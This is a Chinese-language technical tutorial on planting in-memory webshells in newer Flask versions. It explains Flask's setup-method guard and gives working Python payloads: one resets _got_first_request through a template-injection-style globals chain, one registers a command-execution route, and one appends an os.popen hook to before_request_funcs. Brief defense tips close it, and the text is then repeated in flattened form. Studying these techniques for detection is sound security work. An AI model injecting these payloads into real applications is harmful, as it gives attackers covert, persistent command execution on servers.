flask新版内存马源码学习
字数 1058 2025-08-20 18:17:31

Flask新版内存马技术分析与实现

1. 旧版Flask内存马原理

旧版Flask内存马主要通过add_url_rule方法动态注册路由实现:

def add_url_rule(
    self,
    rule: str,
    endpoint: str | None = None,
    view_func: ft.RouteCallable | None = None,
    **options: t.Any,
) -> None:

参数说明:

  • rule: URL路径字符串,如'/users'或'/posts/int:id'
  • endpoint: 路由端点名称,用于反向构建URL
  • view_func: 处理请求的视图函数

旧版payload示例:

app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen('whoami').read())

2. 新版Flask的限制机制

新版Flask引入了@setupmethod装饰器,防止应用启动后修改路由:

def setupmethod(f: F) -> F:
    f_name = f.__name__
    def wrapper_func(self, *args: t.Any, **kwargs: t.Any) -> t.Any:
        self._check_setup_finished(f_name)
        return f(self, *args, **kwargs)
    return t.cast(F, update_wrapper(wrapper_func, f))

关键检查函数_check_setup_finished:

def _check_setup_finished(self, f_name: str) -> None:
    if self._got_first_request:
        raise AssertionError(
            f"The setup method '{f_name}' can no longer be called"
            " on the application. It has already handled its first"
            " request, any changes will not be applied"
            " consistently.\n"
            "Make sure all imports, decorators, functions, etc."
            " needed to set up the application are done before"
            " running it."
        )

3. 解决方法一:修改_got_first_request属性

通过修改_got_first_request属性绕过检查:

g.pop.__globals__.__builtins__.setattr(
    g.pop.__globals__.sys.modules['__main__'].app,
    '_got_first_request',
    False
)

完整payload:

g.pop.__globals__.__builtins__.setattr(g.pop.__globals__.sys.modules['__main__'].app,'_got_first_request',False)
app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen('whoami').read())

4. 解决方法二:利用钩子函数机制

4.1 Flask请求钩子类型

Flask提供五种常用请求钩子:

  1. before_first_request: 处理第一个请求前运行
  2. before_request: 每次请求前运行
  3. after_request: 请求后运行(无异常时)
  4. teardown_request: 每次请求后运行(即使有错误)
  5. teardown_appcontext: 应用上下文弹出前运行

4.2 before_request实现分析

before_request函数源码:

@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
    self.before_request_funcs.setdefault(None, []).append(f)
    return f

关键点:

  • 使用@setupmethod装饰器
  • 通过before_request_funcs字典存储钩子函数
  • setdefault(None, [])表示适用于所有请求

4.3 钩子函数内存马payload

直接操作before_request_funcs字典:

app.before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('dir').read())

5. 技术总结

  1. 新旧版本差异:新版Flask通过@setupmethod装饰器限制运行时修改
  2. 绕过方法
    • 修改_got_first_request属性重置应用状态
    • 直接操作内部字典结构添加钩子函数
  3. 实现要点
    • 理解Flask内部状态管理机制
    • 掌握Python装饰器和钩子函数原理
    • 熟悉Python反射和属性操作

6. 防御建议

  1. 监控应用关键属性的修改
  2. 限制运行时动态代码执行
  3. 检查异常请求处理函数
  4. 实施最小权限原则

7. 扩展思考

  1. 其他框架(如Django)的类似机制分析
  2. 基于WSGI中间件的内存马实现
  3. 无文件攻击的检测与防御
  4. Python沙箱逃逸技术结合应用

通过深入理解Flask内部机制,可以更有效地进行安全防御和攻击检测。

Flask新版内存马技术分析与实现 1. 旧版Flask内存马原理 旧版Flask内存马主要通过 add_url_rule 方法动态注册路由实现: 参数说明: rule : URL路径字符串,如'/users'或'/posts/ ' endpoint : 路由端点名称,用于反向构建URL view_func : 处理请求的视图函数 旧版payload示例: 2. 新版Flask的限制机制 新版Flask引入了 @setupmethod 装饰器,防止应用启动后修改路由: 关键检查函数 _check_setup_finished : 3. 解决方法一:修改_ got_ first_ request属性 通过修改 _got_first_request 属性绕过检查: 完整payload: 4. 解决方法二:利用钩子函数机制 4.1 Flask请求钩子类型 Flask提供五种常用请求钩子: before_first_request : 处理第一个请求前运行 before_request : 每次请求前运行 after_request : 请求后运行(无异常时) teardown_request : 每次请求后运行(即使有错误) teardown_appcontext : 应用上下文弹出前运行 4.2 before_ request实现分析 before_request 函数源码: 关键点: 使用 @setupmethod 装饰器 通过 before_request_funcs 字典存储钩子函数 setdefault(None, []) 表示适用于所有请求 4.3 钩子函数内存马payload 直接操作 before_request_funcs 字典: 5. 技术总结 新旧版本差异 :新版Flask通过 @setupmethod 装饰器限制运行时修改 绕过方法 : 修改 _got_first_request 属性重置应用状态 直接操作内部字典结构添加钩子函数 实现要点 : 理解Flask内部状态管理机制 掌握Python装饰器和钩子函数原理 熟悉Python反射和属性操作 6. 防御建议 监控应用关键属性的修改 限制运行时动态代码执行 检查异常请求处理函数 实施最小权限原则 7. 扩展思考 其他框架(如Django)的类似机制分析 基于WSGI中间件的内存马实现 无文件攻击的检测与防御 Python沙箱逃逸技术结合应用 通过深入理解Flask内部机制,可以更有效地进行安全防御和攻击检测。